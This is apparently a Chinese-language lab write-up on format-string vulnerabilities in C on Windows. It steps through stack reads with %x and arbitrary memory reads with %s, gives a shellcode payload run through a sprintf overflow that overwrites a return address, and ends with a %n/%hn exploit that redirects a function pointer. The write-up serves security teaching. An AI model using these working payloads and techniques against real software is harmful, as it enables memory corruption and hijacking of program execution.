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格式化输出实验.html
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格式化输出实验
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<h1 id="实验目的"><a href="#实验目的" class="headerlink" title="实验目的"></a>实验目的</h1><ol>
<li>通过<code>%x</code>来查看栈内容；</li>
<li>通过<code>%s</code>查看指定地址内容；</li>
<li>对<code>sprintf</code>函数及<code>shellcode</code>做解释分析；</li>
<li>通过格式化字符串造成的缓冲区溢出覆盖返回地址，执行<code>shellcode</code>。<span id="more"></span></li>
</ol>
<h1 id="通过-x来查看栈内容"><a href="#通过-x来查看栈内容" class="headerlink" title="通过%x来查看栈内容"></a>通过<code>%x</code>来查看栈内容</h1><p>通过<code>%x</code>来查看栈内容，重建栈内存，获得该<code>frame</code>的返回地址</p>
<ol>
<li><p>程序代码如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 查看栈内容</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>{</span><br><span class="line"> __asm <span class="type">int</span> <span class="number">3</span></span><br><span class="line"> <span class="type">char</span> format[<span class="number">32</span>];</span><br><span class="line"> <span class="built_in">strcpy</span>(format,<span class="string">"%08x.%08x.%08x.%08x"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(format,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure></li>
<li><p>为了能触发<code>int 3</code> 断点时启动 <code>OllyDbg</code>，设置 <code>OllyDbg</code> 为实时调试器</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922495757.png" alt="1565922495757"></p>
</li>
<li><p>运行该程序，自动跳转到<code>OllyDbg</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922513087.png" alt="1565922513087"></p>
</li>
<li><p>在<code>printf</code>处，设置断点 </p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922546835.png" alt="1565922546835"></p>
</li>
<li><p>当执行到<code>printf</code>处时，查看右下角栈中信息。发现第四个<code>%x</code>没有对应参数，因此会显示本应是参数所在位置的栈内容为<code>0x00132588</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922585516.png" alt="1565922585516"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922594049.png" alt="1565922594049"></p>
</li>
<li><p>通过更多<code>%x</code>可以重建大部分栈内存。其原理如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922624354.png" alt="1565922624354"></p>
</li>
</ol>
<h1 id="通过-s查看指定地址内容"><a href="#通过-s查看指定地址内容" class="headerlink" title="通过%s查看指定地址内容"></a>通过<code>%s</code>查看指定地址内容</h1><ol>
<li><p>程序代码如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 查看指定地址的内存内容</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>{</span><br><span class="line"> __asm <span class="type">int</span> <span class="number">3</span></span><br><span class="line"> <span class="type">char</span> format[<span class="number">40</span>];</span><br><span class="line"> <span class="comment">//利用多个%x将%s对应的参数位置挪到存储地址77E61044的栈地址</span></span><br><span class="line"> <span class="built_in">strcpy</span>(format,<span class="string">"\x44\x10\xE6\x77%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%s"</span>);</span><br><span class="line"> <span class="comment">//输出地址0x77E61044的内存</span></span><br><span class="line"> <span class="built_in">printf</span>(format,<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li>
<li><p>运行该程序，自动跳转到<code>OllyDbg</code>。在<code>printf</code>处设下断点</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922779419.png" alt="1565922779419"></p>
</li>
<li><p>当执行到<code>printf</code>处时，查看右下角栈中信息</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922798995.png" alt="1565922798995"></p>
</li>
<li><p>利用<code>%x</code>步进，将<code>％s</code>的参数对应到<code>0x77E61044</code>，因此可以输出<code>0x77E61044</code>开始的字符串直到遇到截断符。<code>0x0012FF58</code>为<code>format</code>起始地址，前四字节即我们想看的内存地址<code>0x77E61044</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922828370.png" alt="1565922828370"></p>
</li>
<li><p>原理如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565922852948.png" alt="1565922852948"></p>
</li>
</ol>
<h1 id="对sprintf函数及shellcode做解释分析"><a href="#对sprintf函数及shellcode做解释分析" class="headerlink" title="对sprintf函数及shellcode做解释分析"></a>对<code>sprintf</code>函数及<code>shellcode</code>做解释分析</h1><ol>
<li><p>程序代码如下</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><windows.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">char</span> user[]=</span><br><span class="line"> <span class="string">"%497d\x39\x4a\x42\x00"</span></span><br><span class="line"> <span class="string">"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"</span></span><br><span class="line"> <span class="string">"\x33\xDB\x53\x68\xC1\xD8\x2D\x2D\x68\xC0\xEE\xD6\xCE\x8B\xC4\x53"</span></span><br><span class="line"> <span class="string">"\x50\x50\x53\xB8\x68\x3D\xE2\x77\xFF\xD0\x90\x90\x90\x90\x90\x90"</span></span><br><span class="line"> <span class="string">"\xB8\xBB\xB0\xE7\x77\xFF\xD0\x90\x90\x90\x90"</span>;</span><br><span class="line"> </span><br><span class="line"><span class="type">void</span> <span class="title function_">mem</span><span class="params">()</span>{</span><br><span class="line"> __asm <span class="type">int</span> <span class="number">3</span></span><br><span class="line"> <span class="type">char</span> outbuf[<span class="number">512</span>];</span><br><span class="line"> <span class="type">char</span> buffer[<span class="number">512</span>];</span><br><span class="line"> <span class="built_in">sprintf</span>(</span><br><span class="line"> buffer,</span><br><span class="line"> <span class="string">"ERR Wrong command: %.400s"</span>,</span><br><span class="line"> user</span><br><span class="line"> );</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> 执行完上一步后buffer[]="ERR Wrong command: %497d\x39\x4a\x42\x00"</span></span><br><span class="line"><span class="comment"> 00424a39为shellcode地址；此处仅仅就是一串<nop>而已</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="built_in">sprintf</span>(outbuf,buffer);<span class="comment">//sprintf(outbuf,"ERR Wrong command: %497d\x39\x4a\x42\x00");</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">{</span><br><span class="line"> LoadLibrary(<span class="string">"user32.dll"</span>);</span><br><span class="line"> mem();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li>
<li><p><code>sprintf()</code>函数分析</p>
<ul>
<li><code>buffer</code>指针指向将要写入字符串的缓冲区</li>
<li><code>format</code>格式化字符串</li>
<li><code>argument</code>为可选参数</li>
</ul>
<p>作为向字符数组中写入数据的格式化输出函数，<code>sprintf()</code>会假定存在任意长度的缓冲区。</p>
</li>
<li><p><code>shellcode</code>分析</p>
<p><code>Char user[ ]</code>字符数组为构造的<code>shellcode</code>，其中有非常规字符<code>%497d</code>，<code>\x39\x4a\x42\x00</code>是<code>shellcode</code>的起始地址，用来覆盖返回地址，后面的内容是<code>buptbupt</code>弹窗的<code>shellcode</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923227952.png" alt="1565923227952"></p>
</li>
</ol>
<h1 id="缓冲区溢出执行shellcode"><a href="#缓冲区溢出执行shellcode" class="headerlink" title="缓冲区溢出执行shellcode"></a>缓冲区溢出执行<code>shellcode</code></h1><p>通过格式化字符串造成的缓冲区溢出覆盖返回地址，执行<code>shellcode</code></p>
<ol>
<li><p>运行该程序，自动跳转到<code>OllyDbg</code></p>
</li>
<li><p>第⼀次调用<code>sprintf()</code>时写入数据的目的地址为<code>0x0012FB2C</code>,格式化字符串为<code>ERR Wrong command: %.400s</code>，其中<code>%.400s</code>对应的参数为起始地址为<code>0x00424A30</code>的字符串，即用户输入的字符数组<code>user</code>。对地址<code>0x00424A30</code>数据窗跟随后可以看见该字符数组的内容</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924837549.png" alt="1565924837549"></p>
</li>
<li><p>第一次调用<code>printf()</code>函数后可见<code>buffer</code>中的字符串为<code>ERR Wrong command:%497d\x39\x4a\x42\x00</code>，其后数据由于<code>0x00</code>被截断</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924854513.png" alt="1565924854513"></p>
</li>
<li><p>第二次调用<code>sprintf()</code>时，时<code>buffer</code>中格式化字符串为：<code>ERR Wrong command:%497d\x39\x4a\x42\x00</code>，根据格式化字符串，<code>sprintf()</code>函数会读取⼀个参数以<code>%497d</code>的格式写⼊<code>outbuf</code>，由于未提供该参数，会⾃动将栈地址<code>0x0012FAE0</code>中的值视为该参数，即<code>0x12FF80</code>, ⼗进制值<code>1245056</code>。需要写⼊<code>outbuf</code>的总字符串长度为<code>19＋497 ＝516</code>，⽽<code>outbuf</code>长度为<code>512</code>，因此会导致栈溢出,使得函数的返回地址<code>0x004010D1</code>被<code>\x39\x4a\x42\x00</code>覆盖</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924877884.png" alt="1565924877884"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924896239.png" alt="1565924896239"></p>
<p>第二次调用<code>printf()</code>函数后，<code>outbuf</code>中的内容如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924906833.png" alt="1565924906833"></p>
<p><code>outbuf</code>起始地址为<code>0x0012FD2C</code>, <code>19</code>字节的字符串<code>ERR Wrong command: </code> 后<code>497</code>字节为整型数字<code>1245056</code>，从<code>0x0012FF30</code>开始为<code>\x39\x4a\x42\x00</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924919421.png" alt="1565924919421"></p>
</li>
<li><p>程序执行后出现<code>shellcode</code>弹窗</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565925965646.png" alt="1565925965646"></p>
</li>
<li><p>原理如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565924779062.png" alt="1565924779062"></p>
</li>
</ol>
<h1 id="测试结论"><a href="#测试结论" class="headerlink" title="测试结论"></a>测试结论</h1><p> 当程序使用的格式字符串由用户或其他非信任来源提供时，有可能出现格式字符串漏洞。攻击者可利用格式化输出函数来检查内存的内容、覆写内存。对一个数据结构进行越界写时可能会导致缓冲区溢出，可以利用缓冲区溢出来执行<code>shellcode</code>。</p>
<h1 id="思考题"><a href="#思考题" class="headerlink" title="思考题"></a>思考题</h1><p>破解<code>foo.exe</code>程序，在不改变源代码的情况下，要求通过设置程序调用参数的方式调用该程序中隐藏的<code>foo</code>函数（主要利用<code>%n</code>及<code>%x</code>参数）。</p>
<ol>
<li><p>打开源程序分析源码</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><errno.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="title function_">void</span> <span class="params">(*ErrFunc)</span><span class="params">(<span class="type">unsigned</span> <span class="type">long</span>)</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">GhastlyError</span><span class="params">(<span class="type">unsigned</span> <span class="type">long</span> err)</span></span><br><span class="line">{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Unrecoverable error! - err = %d\n"</span>, err);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//This is, in general, a bad practice.</span></span><br><span class="line"> <span class="comment">//Exits buried deep in the X Window libraries once cost</span></span><br><span class="line"> <span class="comment">//me over a week of debugging effort.</span></span><br><span class="line"> <span class="comment">//All application exits should occur in main, ideally in one place.</span></span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">foo</span><span class="params">()</span>{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"I've been hacked!!!"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">RecoverableError</span><span class="params">(<span class="type">unsigned</span> <span class="type">long</span> err)</span></span><br><span class="line">{</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Something went wrong, but you can fix it - err = %d\n"</span>, err);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">PrintMessage</span><span class="params">(<span class="type">char</span>* file, <span class="type">unsigned</span> <span class="type">long</span> err)</span></span><br><span class="line">{</span><br><span class="line"> ErrFunc fErrFunc;</span><br><span class="line"> <span class="type">char</span> buf[<span class="number">512</span>];</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(err == <span class="number">5</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">//access denied</span></span><br><span class="line"> fErrFunc = GhastlyError;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> fErrFunc = RecoverableError;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> _snprintf(buf, <span class="keyword">sizeof</span>(buf)<span class="number">-1</span>, <span class="string">"Can'tFind%s"</span>, file);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//just to show you what is in the buffer</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s"</span>, buf);</span><br><span class="line"> <span class="comment">//just in case your compiler changes things on you</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\nAddress of fErrFunc is %p\n"</span>, &fErrFunc);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Here's where the damage is done!</span></span><br><span class="line"> <span class="comment">//Don't do this in your code.</span></span><br><span class="line"> <span class="comment">//__asm int 3</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stdout</span>, buf);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\nCalling ErrFunc %p\n"</span>, fErrFunc);</span><br><span class="line"> fErrFunc(err);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span>* argv[])</span></span><br><span class="line">{</span><br><span class="line"> __asm <span class="type">int</span> <span class="number">3</span></span><br><span class="line"> <span class="type">int</span> iTmp = <span class="number">100</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%.300x%hn"</span>,<span class="number">11</span>, &iTmp);</span><br><span class="line"> FILE* pFile;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//a little cheating to make the example easy</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Address of foo is %p\n"</span>, foo);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//this will only open existing files</span></span><br><span class="line"> pFile = fopen(argv[<span class="number">1</span>], <span class="string">"r"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(pFile == <span class="literal">NULL</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">//PrintMessage(argv[1], errno);</span></span><br><span class="line"> PrintMessage(argv[<span class="number">1</span>], errno);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Opened %s\n"</span>, argv[<span class="number">1</span>]);</span><br><span class="line"> fclose(pFile);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>源代码包含多个函数：其中<code>foo()</code>是需要执行的隐藏函数，其他函数为错误处理函数，下面重点分析<code>main()</code>函数</p>
<ul>
<li><p><code>main()</code>函数会输出一些栈的信息，包括<code>foo()</code>函数的地址</p>
</li>
<li><p>判断文件是否存在</p>
<ul>
<li>如果存在，则提示文件已经打开</li>
<li>如果不存在，调用<code>PrintMessgae()</code>输出错误信息<ul>
<li><code>err=5</code>，调用<code>GhastlyError()</code>提示错误不可修复</li>
<li><code>err≠5</code>，调用<code>RecoverableError()</code>提示错误可修复</li>
<li>输出其它错误信息</li>
</ul>
</li>
</ul>
</li>
<li><p><code>main()</code>函数的整体结构如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923636510.png" alt="1565923636510"></p>
</li>
</ul>
</li>
<li><p>分析：若想调用<code>foo</code>函数，可以通过<code>%n</code>把<code>fErrFunc</code>函数指针的地址改为<code>foo</code>函数的地址。命令行参数为<code>%x%x…%x%x%n+fErrFunc函数指针的地址</code>。<code>Buf</code>为<code>Can’tfind%x%x…%x%x%n+fErrFunc函数指针的地址</code>，由于<code>fprinf</code>中缺少参数，所以已打出的字符总数通过<code>%n</code>被写入<code>fErrFunc</code>函数指针的地址。通过控制<code>%x</code>调整字符总数以达到目的。</p>
</li>
<li><p>尝试传递一串参数 <code>%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x</code>得到，<code>fErrFunc</code>地址是<code>0x0012FF18</code>，目标函数<code>foo</code>函数地址为<code>0x00401014</code>，所以只要把<code>0x0012ff18</code>内存储的<code>0x00401005</code>更改为<code>0x00401014</code>即可</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923737593.png" alt="1565923737593"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923745441.png" alt="1565923745441"></p>
</li>
<li><p>在参数<code>%x</code>后输入字符串<code>bupt</code>，得到结果如下，与上述相比多了字符串<code>bupt</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923770857.png" alt="1565923770857"></p>
</li>
<li><p>需要把<code>0x0012ff18</code>放在一个可写位置，在前面加上<code>. . . . . . .</code>来调整<code>%x</code>输出的内容，结果如下</p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923807357.png" alt="1565923807357"></p>
</li>
<li><p><code>%p</code>改成<code>%hn</code>，减少一个<code>.</code>，后面加上<code>fErrFunc</code>的地址<code>\x18\xFF\x12</code>，可以看到<code>ErrcFunc</code>已被更改为<code>0x0040017E</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923848164.png" alt="1565923848164"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923855140.png" alt="1565923855140"></p>
</li>
<li><p><code>0x0040017E</code>与<code>0x00401014</code>相差<code>3734</code>个字节，第一个<code>%x</code>打印了<code>6</code>个字节，删掉的四个 <code>.</code> 相当于少打印了<code>4</code>个字节，所以要把这<code>10</code>个字节加回去。所以参数里加上<code>%3744x</code>。更改参数后程序成功执行<code>foo</code>函数，显示<code>I’ve been hacked!!!</code></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923921328.png" alt="1565923921328"></p>
<p><img src="https://raw.githubusercontent.com/Leeyuxun/pic-storage/main/img/1565923927212.png" alt="1565923927212"></p>
</li>
</ol>
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